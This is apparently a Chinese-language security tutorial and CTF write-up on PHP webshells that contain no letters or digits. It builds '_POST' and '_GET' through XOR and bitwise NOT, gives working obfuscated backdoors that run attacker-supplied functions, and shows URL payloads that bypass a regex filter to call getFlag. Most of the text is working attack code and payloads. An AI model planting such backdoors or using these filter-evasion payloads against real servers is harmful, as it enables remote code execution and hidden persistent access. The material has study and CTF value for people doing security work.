目录
一、不包含字母和数字的webshell
1.简单示例
环境:php_study+vscode
<?php
echo "A"^"`";
?>
^(异或):相同为0不同为1
A的ASCII值是65,对应的二进制值是0100 0001
`的ASCII值是96,对应的二进制值是0110 0000
异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是!了
2、非数字字母的PHP后门
(1)
<?php
$_++;// 1
$__=("#"^"|"); // _
$__.=("."^"~");// _P
$__.=("/"^"`");// _PO
$__.=("|"^"/");// _POS
$__.=("{"^"/");// _POST
${$__}[!$_](${$__}[$_]);// $_POST[0]($_POST[1]);
?>
在网页中使用eval无法执行,原因如下:
因为eval是一个语言构造器而不是一个函数,不能被可变函数调用(不可以被动态调用)。
动态调用:传值再加括号并调用的方式
0=eval&1=phpinfo();
0=assert&1=phpinfo();
上面的是无法执行的,下面可行。
①assert($_POST['xian']);
测试结果:
0提交的是assert
1提交的$POST['xian'],而本是为了执行assert($POST['xian'])
②修改为0=assert&1
依旧执行不成功:
③通过base64编码
此时没有任何http body请求信息,但是连接成功。
assert函数中不可以执行字符串,但可以执行函数或者表达式
('assert',$_POST[1]); 这里面1提交过去的是字符串,assert函数无法执行字符串。
assert(eval())是可以的,assert中执行了eval函数。(base64后多了eval函数)
执行了base64成功:
因为我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的。
assert('adsadasdsadasdasdsa') 里面只有字符串
assert(eval(base64dddddd)); 里面有eval函数
简单测试:
<?php call_user_func('assert',$_POST[1]);
使用base64,执行成功:
(2)
web.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
flag.php
<?php
function getFlag(){
echo "ctf{i_love_xi'an}";
}
payload:
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag {{{与?<>/异或:GET
$_GET[_]();&
<?php
echo "`{{{"^"?<>/";//_GET
?>
第二种解法:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
%98%9A%8B%B9%93%9E%98为flag
(3)取反绕过
<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
第二行中,ascii码,>的大于<,所以为1(true),相加为2。
第三行,2/2=1。